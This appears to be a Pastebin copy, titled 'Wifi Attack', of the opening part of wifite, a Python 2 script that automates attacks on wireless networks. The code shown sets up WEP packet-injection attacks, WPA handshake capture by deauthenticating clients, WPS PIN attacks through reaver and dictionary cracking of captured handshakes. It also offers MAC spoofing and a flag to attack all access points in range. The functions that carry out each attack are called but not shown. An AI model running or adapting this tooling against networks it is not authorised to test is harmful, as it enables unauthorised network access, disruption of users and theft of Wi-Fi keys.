Advertisement
Joker0day

Wifi Attack

Dec 30th, 2017
511
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 89.58 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # -*- coding: utf-8 -*-
  4.  
  5. """
  6.     wifite
  7.    
  8.     author: JockR
  9.    
  10.     TODO:
  11.    
  12.     ignore root check when -cracked (afterward) (need root for -check?)
  13.     "cracked*" in list of AP's
  14.  
  15.      WPS
  16.      * Mention reaver automatically resumes sessions
  17.      * Warning about length of time required for WPS attack (*hours*)
  18.      * Show time since last successful attempt
  19.      * Percentage of tries/attempts ?
  20.      * Update code to work with reaver 1.4 ("x" sec/att)
  21.  
  22.      WEP:
  23.      * ability to pause/skip/continue    
  24.      * Option to capture only IVS packets (uses --output-format ivs,csv)
  25.        - not compatible on older aircrack-ng's.
  26.            - Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works
  27.          - would cut down on size of saved .caps
  28.      
  29.      reaver:
  30.          MONITOR ACTIVITY!
  31.          - Enter ESSID when executing (?)
  32.        - Ensure WPS key attempts have begun.
  33.        - If no attempts can be made, stop attack
  34.        
  35.        - During attack, if no attempts are made within X minutes, stop attack & Print
  36.        
  37.        - Reaver's output when unable to associate:
  38.          [!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF)
  39.        - If failed to associate for x minutes, stop attack (same as no attempts?)
  40.    
  41.     MIGHTDO:
  42.       * WPA - crack (pyrit/cowpatty) (not really important)
  43.       * Test injection at startup? (skippable via command-line switch)
  44.      
  45. """
  46.  
  47.  
  48. #############
  49. # LIBRARIES #
  50. #############
  51.  
  52. import os     # File management
  53. import time   # Measuring attack intervals
  54. import random # Generating a random MAC address.
  55. import errno  # Error numbers
  56.  
  57. from sys import argv          # Command-line arguments
  58. from sys import stdout, stdin # Flushing
  59.  
  60. from shutil import copy # Copying .cap files
  61.  
  62. # Executing, communicating with, killing processes
  63. from subprocess import Popen, call, PIPE
  64. from signal import SIGINT, SIGTERM
  65.  
  66. import re # RegEx, Converting SSID to filename
  67.  
  68.  
  69.  
  70.  
  71. ################################
  72. # GLOBAL VARIABLES IN ALL CAPS #
  73. ################################
  74.  
  75. REVISION = 85;
  76.  
  77.  
  78. # WPA variables
  79. WPA_DISABLE          = False # Flag to skip WPA handshake capture
  80. WPA_STRIP_HANDSHAKE  = True  # Use pyrit or tshark (if applicable) to strip handshake
  81. WPA_DEAUTH_TIMEOUT   = 10    # Time to wait between deauthentication bursts (in seconds)
  82. WPA_ATTACK_TIMEOUT   = 500   # Total time to allow for a handshake attack (in seconds)
  83. WPA_HANDSHAKE_DIR    = 'hs'  # Directory in which handshakes .cap files are stored
  84. # Strip file path separator if needed
  85. if WPA_HANDSHAKE_DIR != '' and WPA_HANDSHAKE_DIR[-1] == os.sep:
  86.     WPA_HANDSHAKE_DIR = WPA_HANDSHAKE_DIR[:-1]
  87.  
  88. WPA_FINDINGS         = []    # List of strings containing info on successful WPA attacks
  89. WPA_DONT_CRACK       = False # Flag to skip cracking of handshakes
  90. WPA_DICTIONARY       = '/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
  91. if not os.path.exists(WPA_DICTIONARY): WPA_DICTIONARY = ''
  92.  
  93. # Various programs to use when checking for a four-way handshake.
  94. # True means the program must find a valid handshake in order for wifite to recognize a handshake.
  95. # Not finding handshake short circuits result (ALL 'True' programs must find handshake)
  96. WPA_HANDSHAKE_TSHARK   = True  # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th)
  97. WPA_HANDSHAKE_PYRIT    = False # Sometimes crashes on incomplete dumps, but accurate.
  98. WPA_HANDSHAKE_AIRCRACK = True  # Not 100% accurate, but fast.
  99. WPA_HANDSHAKE_COWPATTY = False # Uses more lenient "nonstrict mode" (-2)
  100.  
  101.  
  102.  
  103. # WEP variables
  104. WEP_DISABLE         = False # Flag for ignoring WEP networks
  105. WEP_PPS             = 600   # packets per second (Tx rate)
  106. WEP_TIMEOUT         = 600   # Amount of time to give each attack
  107. WEP_ARP_REPLAY      = True  # Various WEP-based attacks via aireplay-ng
  108. WEP_CHOPCHOP        = True  #
  109. WEP_FRAGMENT        = True  #
  110. WEP_CAFFELATTE      = True  #
  111. WEP_P0841           = True
  112. WEP_HIRTE           = True
  113. WEP_CRACK_AT_IVS    = 10000 # Number of IVS at which we start cracking
  114. WEP_IGNORE_FAKEAUTH = True  # When True, continues attack despite fake authentication failure
  115. WEP_FINDINGS        = []    # List of strings containing info on successful WEP attacks.
  116. WEP_SAVE            = False # Save packets.
  117.  
  118. # WPS variables
  119. WPS_DISABLE         = False # Flag to skip WPS scan and attacks
  120. WPS_FINDINGS        = []    # List of (successful) results of WPS attacks
  121. WPS_TIMEOUT         = 300   # Time to wait (in seconds) for successful PIN attempt
  122. WPS_RATIO_THRESHOLD = 0.01  # Lowest percentage of tries/attempts allowed (where tries > 0)
  123. WPS_MAX_RETRIES     = 0     # Number of times to re-try the same pin before giving up completely.
  124.  
  125.  
  126. # Program variables
  127. WIRELESS_IFACE     = ''    # User-defined interface
  128. TARGET_CHANNEL     = 0     # User-defined channel to scan on
  129. TARGET_ESSID       = ''    # User-defined ESSID of specific target to attack
  130. TARGET_BSSID       = ''    # User-defined BSSID of specific target to attack
  131. IFACE_TO_TAKE_DOWN = ''    # Interface that wifite puts into monitor mode
  132.                            # It's our job to put it out of monitor mode after the attacks
  133. ORIGINAL_IFACE_MAC = ('', '') # Original interface name[0] and MAC address[1] (before spoofing)
  134. DO_NOT_CHANGE_MAC  = True  # Flag for disabling MAC anonymizer
  135. TARGETS_REMAINING  = 0     # Number of access points remaining to attack
  136. WPA_CAPS_TO_CRACK  = []    # list of .cap files to crack (full of CapFile objects)
  137. THIS_MAC           = ''    # The interfaces current MAC address.
  138. SHOW_MAC_IN_SCAN   = False # Display MACs of the SSIDs in the list of targets
  139. CRACKED_TARGETS    = []    # List of targets we have already cracked
  140. ATTACK_ALL_TARGETS = False # Flag for when we want to attack *everyone*
  141. ATTACK_MIN_POWER   = 0     # Minimum power (dB) for access point to be considered a target
  142.  
  143. # Console colors
  144. W  = '\033[0m'  # white (normal)
  145. R  = '\033[31m' # red
  146. G  = '\033[32m' # green
  147. O  = '\033[33m' # orange
  148. B  = '\033[34m' # blue
  149. P  = '\033[35m' # purple
  150. C  = '\033[36m' # cyan
  151. GR = '\033[37m' # gray
  152.  
  153.  
  154. if os.getuid() != 0:
  155.     print R+' [!]'+O+' ERROR:'+G+' wifite'+O+' must be run as '+R+'root'+W
  156.     print R+' [!]'+O+' login as root ('+W+'su root'+O+') or try '+W+'sudo ./wifite.py'+W
  157.     exit(1)
  158.  
  159. if not os.uname()[0].startswith("Linux"):
  160.     print O+' [!]'+R+' WARNING:'+G+' wifite'+W+' must be run on '+O+'linux'+W
  161.     exit(1)
  162.  
  163.  
  164. # Create temporary directory to work in
  165. from tempfile import mkdtemp
  166. temp = mkdtemp(prefix='wifite')
  167. if not temp.endswith(os.sep):
  168.     temp += os.sep
  169.  
  170. # /dev/null, send output from programs so they don't print to screen.
  171. DN = open(os.devnull, 'w')
  172.  
  173.  
  174.  
  175.  
  176.  
  177. ###################
  178. # DATA STRUCTURES #
  179. ###################
  180.  
  181. class CapFile:
  182.     """
  183.         Holds data about an access point's .cap file, including AP's ESSID & BSSID.
  184.     """
  185.     def __init__(self, filename, ssid, bssid):
  186.         self.filename = filename
  187.         self.ssid = ssid
  188.         self.bssid = bssid
  189.  
  190. class Target:
  191.     """
  192.         Holds data for a Target (aka Access Point aka Router)
  193.     """
  194.     def __init__(self, bssid, power, data, channel, encryption, ssid):
  195.         self.bssid = bssid
  196.         self.power = power
  197.         self.data  = data
  198.         self.channel = channel
  199.         self.encryption = encryption
  200.         self.ssid = ssid
  201.         self.wps = False # Default to non-WPS-enabled router.
  202.         self.key = ''
  203.  
  204. class Client:
  205.     """
  206.         Holds data for a Client (device connected to Access Point/Router)
  207.     """
  208.     def __init__(self, bssid, station, power):
  209.         self.bssid   = bssid
  210.         self.station = station
  211.         self.power   = power
  212.  
  213.  
  214.  
  215.  
  216.  
  217.  
  218.  
  219.  
  220.  
  221. ##################
  222. # MAIN FUNCTIONS #
  223. ##################
  224.  
  225.  
  226. def main():
  227.     """
  228.         Where the magic happens.
  229.     """
  230.     global TARGETS_REMAINING, THIS_MAC, CRACKED_TARGETS
  231.    
  232.     CRACKED_TARGETS = load_cracked() # Load previously-cracked APs from file
  233.  
  234.     handle_args() # Parse args from command line, set global variables.
  235.    
  236.     initial_check() # Ensure required programs are installed.
  237.    
  238.     # The "get_iface" method anonymizes the MAC address (if needed)
  239.     # and puts the interface into monitor mode.
  240.     iface = get_iface()
  241.    
  242.     THIS_MAC = get_mac_address(iface) # Store current MAC address
  243.    
  244.     (targets, clients) = scan(iface=iface, channel=TARGET_CHANNEL)
  245.    
  246.     try:
  247.         index = 0
  248.         while index < len(targets):
  249.             target = targets[index]
  250.             # Check if we have already cracked this target
  251.             for already in CRACKED_TARGETS:
  252.                 if already.bssid == targets[index].bssid:
  253.                     print R+'\n [!]'+O+' you have already cracked this access point\'s key!'+W
  254.                     print R+' [!] %s' % (C+already.ssid+W+': "'+G+already.key+W+'"')
  255.                     ri = raw_input(GR+' [+] '+W+'do you want to crack this access point again? ('+G+'y/'+O+'n'+W+'): ')
  256.                     if ri.lower() == 'n':
  257.                         targets.pop(index)
  258.                         index -= 1
  259.                     break
  260.  
  261.             # Check if handshakes already exist, ask user whether to skip targets or save new handshakes
  262.             handshake_file = WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
  263.                              + '_' + target.bssid.replace(':', '-') + '.cap'
  264.             if os.path.exists(handshake_file):
  265.                 print R+'\n [!] '+O+'you already have a handshake file for %s:' % (C+target.ssid+W)
  266.                 print '        %s\n' % (G+handshake_file+W)
  267.                 print GR+' [+]'+W+' do you want to '+G+'[s]kip'+W+', '+O+'[c]apture again'+W+', or '+R+'[o]verwrite'+W+'?'
  268.                 ri = 'x'
  269.                 while ri != 's' and ri != 'c' and ri != 'o':
  270.                     ri = raw_input(GR+' [+] '+W+'enter '+G+'s'+W+', '+O+'c,'+W+' or '+R+'o'+W+': '+G).lower()
  271.                 print W+"\b",
  272.                 if ri == 's':
  273.                     targets.pop(index)
  274.                     index -= 1
  275.                 elif ri == 'o':
  276.                     remove_file(handshake_file)
  277.                     continue
  278.             index += 1
  279.            
  280.  
  281.     except KeyboardInterrupt:
  282.         print '\n '+R+'(^C)'+O+' interrupted\n'
  283.         exit_gracefully(0)
  284.    
  285.     wpa_success = 0
  286.     wep_success = 0
  287.     wpa_total   = 0
  288.     wep_total   = 0
  289.    
  290.     TARGETS_REMAINING = len(targets)
  291.     for t in targets:
  292.         TARGETS_REMAINING -= 1
  293.        
  294.         # Build list of clients connected to target
  295.         ts_clients = []
  296.         for c in clients:
  297.             if c.station == t.bssid:
  298.                 ts_clients.append(c)
  299.        
  300.         print ''
  301.         if t.encryption.find('WPA') != -1:
  302.             need_handshake = True
  303.             if not WPS_DISABLE and t.wps:
  304.                 need_handshake = not wps_attack(iface, t)
  305.                 wpa_total += 1
  306.            
  307.             if not need_handshake: wpa_success += 1
  308.             if TARGETS_REMAINING < 0: break
  309.            
  310.             if not WPA_DISABLE and need_handshake:
  311.                 wpa_total += 1
  312.                 if wpa_get_handshake(iface, t, ts_clients):
  313.                     wpa_success += 1
  314.            
  315.         elif t.encryption.find('WEP') != -1:
  316.             wep_total += 1
  317.             if attack_wep(iface, t, ts_clients):
  318.                 wep_success += 1
  319.        
  320.         else: print R+' unknown encryption:',t.encryption,W
  321.        
  322.         # If user wants to stop attacking
  323.         if TARGETS_REMAINING <= 0: break
  324.    
  325.     if wpa_total + wep_total > 0:
  326.         # Attacks are done! Show results to user
  327.         print ''
  328.         print GR+' [+] %s%d attack%s completed:%s' % (G, wpa_total + wep_total, '' if wpa_total+wep_total == 1 else 's', W)
  329.         print ''
  330.         if wpa_total > 0:
  331.             if wpa_success == 0:           print GR+' [+]'+R,
  332.             elif wpa_success == wpa_total: print GR+' [+]'+G,
  333.             else:                          print GR+' [+]'+O,
  334.             print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W)
  335.        
  336.             for finding in WPA_FINDINGS:
  337.                 print '        ' + C+finding+W
  338.        
  339.         if wep_total > 0:
  340.             if wep_success == 0:           print GR+' [+]'+R,
  341.             elif wep_success == wep_total: print GR+' [+]'+G,
  342.             else:                          print GR+' [+]'+O,
  343.             print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W)
  344.        
  345.             for finding in WEP_FINDINGS:
  346.                 print '        ' + C+finding+W
  347.        
  348.         caps = len(WPA_CAPS_TO_CRACK)
  349.         if caps > 0 and not WPA_DONT_CRACK:
  350.             print GR+' [+]'+W+' starting '+G+'WPA cracker'+W+' on %s%d handshake%s' % (G, caps, W if caps == 1 else 's'+W)
  351.             for cap in WPA_CAPS_TO_CRACK:
  352.                 wpa_crack(cap)
  353.    
  354.     print ''
  355.     exit_gracefully(0)
  356.  
  357. def rename(old, new):
  358.     """
  359.         Renames file 'old' to 'new', works with separate partitions.
  360.         Thanks to hannan.sadar
  361.     """
  362.     try:
  363.         os.rename(old, new)
  364.     except os.error, detail:
  365.         if detail.errno == errno.EXDEV:
  366.             try:
  367.                 copy(old, new)
  368.             except:
  369.                 os.unlink(new)
  370.                 raise
  371.                 os.unlink(old)
  372.         # if desired, deal with other errors
  373.         else:
  374.             raise
  375.  
  376.  
  377. def initial_check():
  378.     """
  379.         Ensures required programs are installed.
  380.     """
  381.     global WPS_DISABLE
  382.     airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']
  383.     for air in airs:
  384.         if program_exists(air): continue
  385.         print R+' [!]'+O+' required program not found: %s' % (R+air+W)
  386.         print R+' [!]'+O+' this program is bundled with the aircrack-ng suite:'+W
  387.         print R+' [!]'+O+'        '+C+'http://www.aircrack-ng.org/'+W
  388.         print R+' [!]'+O+' or: '+W+'sudo apt-get install aircrack-ng\n'+W
  389.         exit_gracefully(1)
  390.    
  391.     if not program_exists('iw'):
  392.         print R+' [!]'+O+' airmon-ng requires the program %s\n' % (R+'iw'+W)
  393.         exit_gracefully(1)
  394.    
  395.     printed = False
  396.     # Check reaver
  397.     if not program_exists('reaver'):
  398.         printed = True
  399.         print R+' [!]'+O+' the program '+R+'reaver'+O+' is required for WPS attacks'+W
  400.         print R+'    '+O+'   available at '+C+'http://code.google.com/p/reaver-wps'+W
  401.         WPS_DISABLE = True
  402.     elif not program_exists('walsh') and not program_exists('wash'):
  403.         printed = True
  404.         print R+' [!]'+O+' reaver\'s scanning tool '+R+'walsh'+O+' (or '+R+'wash'+O+') was not found'+W
  405.         print R+' [!]'+O+' please re-install reaver or install walsh/wash separately'+W
  406.  
  407.     # Check handshake-checking apps
  408.     recs = ['tshark', 'pyrit', 'cowpatty']
  409.     for rec in recs:
  410.         if program_exists(rec): continue
  411.         printed = True
  412.         print R+' [!]'+O+' the program %s is not required, but is recommended%s' % (R+rec+O, W)
  413.     if printed: print ''   
  414.  
  415.  
  416. def handle_args():
  417.     """
  418.         Handles command-line arguments, sets global variables.
  419.     """
  420.     global WIRELESS_IFACE, TARGET_CHANNEL, DO_NOT_CHANGE_MAC, TARGET_ESSID, TARGET_BSSID
  421.     global WPA_DISABLE, WPA_STRIP_HANDSHAKE, WPA_DEAUTH_TIMEOUT, WPA_ATTACK_TIMEOUT
  422.     global WPA_DONT_CRACK, WPA_DICTIONARY, WPA_HANDSHAKE_TSHARK, WPA_HANDSHAKE_PYRIT
  423.     global WPA_HANDSHAKE_AIRCRACK, WPA_HANDSHAKE_COWPATTY
  424.     global WEP_DISABLE, WEP_PPS, WEP_TIMEOUT, WEP_ARP_REPLAY, WEP_CHOPCHOP, WEP_FRAGMENT
  425.     global WEP_CAFFELATTE, WEP_P0841, WEP_HIRTE, WEP_CRACK_AT_IVS, WEP_IGNORE_FAKEAUTH
  426.     global WEP_SAVE, SHOW_MAC_IN_SCAN, ATTACK_ALL_TARGETS, ATTACK_MIN_POWER
  427.     global WPS_DISABLE, WPS_TIMEOUT, WPS_RATIO_THRESHOLD, WPS_MAX_RETRIES
  428.    
  429.     args = argv[1:]
  430.     if args.count('-h') + args.count('--help') + args.count('?') + args.count('-help') > 0:
  431.         help()
  432.         exit_gracefully(0)
  433.    
  434.     set_encrypt = False
  435.     set_hscheck = False
  436.     set_wep     = False
  437.     capfile     = ''  # Filename of .cap file to analyze for handshakes
  438.    
  439.     try:
  440.         for i in xrange(0, len(args)):
  441.  
  442.             if not set_encrypt and (args[i] == '-wpa' or args[i] == '-wep' or args[i] == '-wps'):
  443.                 WPS_DISABLE = True
  444.                 WPA_DISABLE = True
  445.                 WEP_DISABLE = True
  446.                 set_encrypt = True
  447.             if   args[i] == '-wpa':
  448.                 print GR+' [+]'+W+' targeting '+G+'WPA'+W+' encrypted networks (use '+G+'-wps'+W+' for WPS scan)'
  449.                 WPA_DISABLE = False
  450.             elif args[i] == '-wep':
  451.                 print GR+' [+]'+W+' targeting '+G+'WEP'+W+' encrypted networks'
  452.                 WEP_DISABLE = False
  453.             elif args[i] == '-wps':
  454.                 print GR+' [+]'+W+' targeting '+G+'WPS-enabled'+W+' networks'
  455.                 WPS_DISABLE = False
  456.            
  457.             elif args[i] == '-c':
  458.                 i += 1
  459.                 try: TARGET_CHANNEL = int(args[i])
  460.                 except ValueError: print O+' [!]'+R+' invalid channel: '+O+args[i]+W
  461.                 except IndexError: print O+' [!]'+R+' no channel given!'+W
  462.                 else: print GR+' [+]'+W+' channel set to %s' % (G+args[i]+W)
  463.             elif args[i] == '-mac':
  464.                 print GR+' [+]'+W+' mac address anonymizing '+G+'enabled'+W
  465.                 print O+'     note: only works if device is not already in monitor mode!'+W
  466.                 DO_NOT_CHANGE_MAC = False
  467.             elif args[i] == '-i':
  468.                 i += 1
  469.                 WIRELESS_IFACE = args[i]
  470.                 print GR+' [+]'+W+' set interface: %s' % (G+args[i]+W)
  471.             elif args[i] == '-e':
  472.                 i += 1
  473.                 try: TARGET_ESSID = args[i]
  474.                 except ValueError: print R+' [!]'+O+' no ESSID given!'+W
  475.                 else: print GR+' [+]'+W+' targeting ESSID "%s"' % (G+args[i]+W)
  476.             elif args[i] == '-b':
  477.                 i += 1
  478.                 try: TARGET_BSSID = args[i]
  479.                 except ValueError: print R+' [!]'+O+' no BSSID given!'+W
  480.                 else: print GR+' [+]'+W+' targeting BSSID "%s"' % (G+args[i]+W)
  481.             elif args[i] == '-showb' or args[i] == '-showbssid':
  482.                 SHOW_MAC_IN_SCAN = True
  483.                 print GR+' [+]'+W+' target MAC address viewing '+G+'enabled'+W
  484.             elif args[i] == '-all' or args[i] == '-hax0ritna0':
  485.                 print GR+' [+]'+W+' targeting '+G+'all access points'+W
  486.                 ATTACK_ALL_TARGETS = True
  487.             elif args[i] == '-pow' or args[i] == '-power':
  488.                 i += 1
  489.                 try:
  490.                     ATTACK_MIN_POWER = int(args[i])
  491.                 except ValueError: print R+' [!]'+O+' invalid power level: %s' % (R+args[i]+W)
  492.                 except IndexError: print R+' [!]'+O+' no power level given!'+W
  493.                 else: print GR+' [+]'+W+' minimum target power set to %s' % (G+args[i] + "dB"+W)
  494.                
  495.             elif args[i] == '-check':
  496.                 i += 1
  497.                 try: capfile = args[i]
  498.                 except IndexError:
  499.                     print R+' [!]'+O+' unable to analyze capture file'+W
  500.                     print R+' [!]'+O+' no cap file given!\n'+W
  501.                     exit_gracefully(1)
  502.                 else:
  503.                     if not os.path.exists(capfile):
  504.                         print R+' [!]'+O+' unable to analyze capture file!'+W
  505.                         print R+' [!]'+O+' file not found: '+R+capfile+'\n'+W
  506.                         exit_gracefully(1)
  507.                    
  508.             elif args[i] == '-cracked':
  509.                 if len(CRACKED_TARGETS) == 0:
  510.                     print R+' [!]'+O+' there are not cracked access points saved to '+R+'cracked.txt\n'+W
  511.                     exit_gracefully(1)
  512.                 print GR+' [+]'+W+' '+W+'previously cracked access points'+W+':'
  513.                 for victim in CRACKED_TARGETS:
  514.                     print '     %s (%s) : "%s"' % (C+victim.ssid+W, C+victim.bssid+W, G+victim.key+W)
  515.                 print ''
  516.                 exit_gracefully(0)
  517.                    
  518.  
  519.             # WPA
  520.             if not set_hscheck and (args[i] == '-tshark' or args[i] == '-cowpatty' or args[i] == '-aircrack' or args[i] == 'pyrit'):
  521.                 WPA_HANDSHAKE_TSHARK   = False
  522.                 WPA_HANDSHAKE_PYRIT    = False
  523.                 WPA_HANDSHAKE_COWPATTY = False
  524.                 WPA_HANDSHAKE_AIRCRACK = False
  525.                 set_hscheck = True
  526.             elif args[i] == '-strip':
  527.                 WPA_STRIP_HANDSHAKE = True
  528.                 print GR+' [+]'+W+' handshake stripping '+G+'enabled'+W
  529.             elif args[i] == '-wpadt':
  530.                 i += 1
  531.                 WPA_DEAUTH_TIMEOUT = int(args[i])
  532.                 print GR+' [+]'+W+' WPA deauth timeout set to %s' % (G+args[i]+' seconds'+W)
  533.             elif args[i] == '-wpat':
  534.                 i += 1
  535.                 WPA_ATTACK_TIMEOUT = int(args[i])
  536.                 print GR+' [+]'+W+' WPA attack timeout set to %s' % (G+args[i]+' seconds'+W)
  537.             elif args[i] == '-crack':
  538.                 WPA_DONT_CRACK = False
  539.                 print GR+' [+]'+W+' WPA cracking '+G+'enabled'+W
  540.             elif args[i] == '-dict':
  541.                 i += 1
  542.                 try:
  543.                     WPA_DICTIONARY = args[i]
  544.                 except IndexError: print R+' [!]'+O+' no WPA dictionary given!'
  545.                 else:
  546.                     if os.path.exists(args[i]):
  547.                         print GR+' [+]'+W+' WPA dictionary set to %s' % (G+args[i]+W)
  548.                     else:
  549.                         print R+' [!]'+O+' WPA dictionary file not found: %s' % (args[i])
  550.             if args[i] == '-tshark':
  551.                 WPA_HANDSHAKE_TSHARK = True
  552.                 print GR+' [+]'+W+' tshark handshake verification '+G+'enabled'+W
  553.             if args[i] == '-pyrit':
  554.                 WPA_HANDSHAKE_PYRIT = True
  555.                 print GR+' [+]'+W+' pyrit handshake verification '+G+'enabled'+W
  556.             if args[i] == '-aircrack':
  557.                 WPA_HANDSHAKE_AIRCRACK = True
  558.                 print GR+' [+]'+W+' aircrack handshake verification '+G+'enabled'+W
  559.             if args[i] == '-cowpatty':
  560.                 WPA_HANDSHAKE_COWPATTY = True
  561.                 print GR+' [+]'+W+' cowpatty handshake verification '+G+'enabled'+W
  562.  
  563.             # WEP
  564.             if not set_wep and args[i] == '-chopchop' or args[i] == 'fragment' or \
  565.                                args[i] == 'caffelatte' or args[i] == '-arpreplay' or \
  566.                                args[i] == '-p0841' or args[i] == '-hirte':
  567.                 WEP_CHOPCHOP   = False
  568.                 WEP_ARPREPLAY  = False
  569.                 WEP_CAFFELATTE = False
  570.                 WEP_FRAGMENT   = False
  571.                 WEP_P0841      = False
  572.                 WEP_HIRTE      = False
  573.             if args[i] == '-chopchop':
  574.                 print GR+' [+]'+W+' WEP chop-chop attack '+G+'enabled'+W
  575.                 WEP_CHOPCHOP = True
  576.             if args[i] == '-fragment' or args[i] == '-frag' or args[i] == '-fragmentation':
  577.                 print GR+' [+]'+W+' WEP fragmentation attack '+G+'enabled'+W
  578.                 WEP_FRAGMENT = True
  579.             if args[i] == '-caffelatte':
  580.                 print GR+' [+]'+W+' WEP caffe-latte attack '+G+'enabled'+W
  581.                 WEP_CAFFELATTE = True
  582.             if args[i] == '-arpreplay':
  583.                 print GR+' [+]'+W+' WEP arp-replay attack '+G+'enabled'+W
  584.                 WEP_ARPREPLAY = True
  585.             if args[i] == '-p0841':
  586.                 print GR+' [+]'+W+' WEP p0841 attack '+G+'enabled'+W
  587.                 WEP_P0841 = True
  588.             if args[i] == '-hirte':
  589.                 print GR+' [+]'+W+' WEP hirte attack '+G+'enabled'+W
  590.                 WEP_HIRTE = True
  591.             if args[i] == '-nofake':
  592.                 print GR+' [+]'+W+' ignoring failed fake-authentication '+R+'disabled'+W
  593.                 WEP_IGNORE_FAKEAUTH = False
  594.             if args[i] == '-wept' or args[i] == '-weptime':
  595.                 i += 1
  596.                 try:
  597.                     WEP_TIMEOUT = int(args[i])
  598.                 except ValueError: print R+' [!]'+O+' invalid timeout: %s' % (R+args[i]+W)
  599.                 except IndexError: print R+' [!]'+O+' no timeout given!'+W
  600.                 else: print GR+' [+]'+W+' WEP attack timeout set to %s' % (G+args[i] + " seconds"+W)
  601.             if args[i] == '-pps':
  602.                 i += 1
  603.                 try:
  604.                     WEP_PPS = int(args[i])
  605.                 except ValueError: print R+' [!]'+O+' invalid value: %s' % (R+args[i]+W)
  606.                 except IndexError: print R+' [!]'+O+' no value given!'+W
  607.                 else: print GR+' [+]'+W+' packets-per-second rate set to %s' % (G+args[i] + " packets/sec"+W)
  608.             if args[i] == '-save' or args[i] == '-wepsave':
  609.                 WEP_SAVE = True
  610.                 print GR+' [+]'+W+' WEP .cap file saving '+G+'enabled'+W
  611.  
  612.  
  613.             # WPS
  614.             if args[i] == '-wpst' or args[i] == '-wpstime':
  615.                 i += 1
  616.                 try:
  617.                     WPS_TIMEOUT = int(args[i])
  618.                 except ValueError: print R+' [!]'+O+' invalid timeout: %s' % (R+args[i]+W)
  619.                 except IndexError: print R+' [!]'+O+' no timeout given!'+W
  620.                 else: print GR+' [+]'+W+' WPS attack timeout set to %s' % (G+args[i] + " seconds"+W)
  621.             if args[i] == '-wpsratio' or args[i] == 'wpsr':
  622.                 i += 1
  623.                 try:
  624.                     WPS_RATIO_THRESHOLD = float(args[i])
  625.                 except ValueError: print R+' [!]'+O+' invalid percentage: %s' % (R+args[i]+W)
  626.                 except IndexError: print R+' [!]'+O+' no ratio given!'+W
  627.                 else: print GR+' [+]'+W+' minimum WPS tries/attempts threshold set to %s' % (G+args[i] + ""+W)
  628.             if args[i] == '-wpsmaxr' or args[i] == '-wpsretry':
  629.                 i += 1
  630.                 try:
  631.                     WPS_MAX_RETRIES = int(args[i])
  632.                 except ValueError: print R+' [!]'+O+' invalid number: %s' % (R+args[i]+W)
  633.                 except IndexError: print R+' [!]'+O+' no number given!'+W
  634.                 else: print GR+' [+]'+W+' WPS maximum retries set to %s' % (G+args[i] + " retries"+W)
  635.                
  636.     except IndexError:
  637.         print '\nindexerror\n\n'
  638.    
  639.     if capfile != '':
  640.         analyze_capfile(capfile)
  641.     print ''
  642.  
  643. def banner():
  644.     """
  645.         Displays ASCII art of the highest caliber.
  646.     """
  647.     global REVISION
  648.     print ''
  649.     print G+"  .;'                     `;,    "
  650.     print G+" .;'  ,;'             `;,  `;,   "+W+"WiFite v2 BETA2" # r"+str(REVISION)
  651.     print G+".;'  ,;'  ,;'     `;,  `;,  `;,  "
  652.     print G+"::   ::   :   "+GR+"( )"+G+"   :   ::   ::  "+GR+"automated wireless auditor"
  653.     print G+"':.  ':.  ':. "+GR+"/_\\"+G+" ,:'  ,:'  ,:'  "
  654.     print G+" ':.  ':.    "+GR+"/___\\"+G+"    ,:'  ,:'   "+GR+"designed for backtrack 5 r1"
  655.     print G+"  ':.       "+GR+"/_____\\"+G+"      ,:'     "
  656.     print G+"           "+GR+"/       \\"+G+"             "
  657.     print W
  658.  
  659.  
  660. def help():
  661.     """
  662.         Prints help screen
  663.     """
  664.    
  665.     head    = W
  666.     sw      = G
  667.     var     = GR
  668.     des     = W
  669.     de      = G
  670.    
  671.     print head+'   COMMANDS'+W
  672.     print sw+'\t-check '+var+'<file>\t'+des+'check capfile '+var+'<file>'+des+' for handshakes.'+W
  673.     print sw+'\t-cracked    \t'+des+'display previously-cracked access points'+W
  674.     print ''
  675.  
  676.     print head+'   GLOBAL'+W
  677.     print sw+'\t-all         \t'+des+'attack all targets.              '+de+'[off]'+W
  678.     print sw+'\t-i '+var+'<iface>  \t'+des+'wireless interface for capturing '+de+'[auto]'+W
  679.     print sw+'\t-mac         \t'+des+'anonymize mac address            '+de+'[off]'+W
  680.     print sw+'\t-c '+var+'<channel>\t'+des+'channel to scan for targets      '+de+'[auto]'+W
  681.     print sw+'\t-e '+var+'<essid>  \t'+des+'target a specific access point by ssid (name)  '+de+'[ask]'+W
  682.     print sw+'\t-b '+var+'<bssid>  \t'+des+'target a specific access point by bssid (mac)  '+de+'[auto]'+W
  683.     print sw+'\t-showb       \t'+des+'display target BSSIDs after scan               '+de+'[off]'+W
  684.     print sw+'\t-pow '+var+'<db>   \t'+des+'attacks any targets with signal strenghth > '+var+'db '+de+'[0]'+W
  685.     print ''
  686.    
  687.     print head+'\n   WPA'+W
  688.     print sw+'\t-wpa        \t'+des+'only target WPA networks (works with -wps -wep)   '+de+'[off]'+W
  689.     print sw+'\t-wpat '+var+'<sec>   \t'+des+'time to wait for WPA attack to complete (seconds) '+de+'[300]'+W
  690.     print sw+'\t-wpadt '+var+'<sec>  \t'+des+'time to wait between sending deauth packets (sec) '+de+'[10]'+W
  691.     print sw+'\t-strip      \t'+des+'strip handshake using tshark or pyrit             '+de+'[off]'+W
  692.     print sw+'\t-crack '+var+'<dic>\t'+des+'crack WPA handshakes using '+var+'<dic>'+des+' wordlist file    '+de+'[off]'+W
  693.     print sw+'\t-dict '+var+'<file>\t'+des+'specify dictionary to use when cracking WPA '+de+'[phpbb.txt]'+W
  694.     print sw+'\t-aircrack   \t'+des+'verify handshake using aircrack '+de+'[on]'+W
  695.     print sw+'\t-pyrit      \t'+des+'verify handshake using pyrit    '+de+'[off]'+W
  696.     print sw+'\t-tshark     \t'+des+'verify handshake using tshark   '+de+'[on]'+W
  697.     print sw+'\t-cowpatty   \t'+des+'verify handshake using cowpatty '+de+'[off]'+W
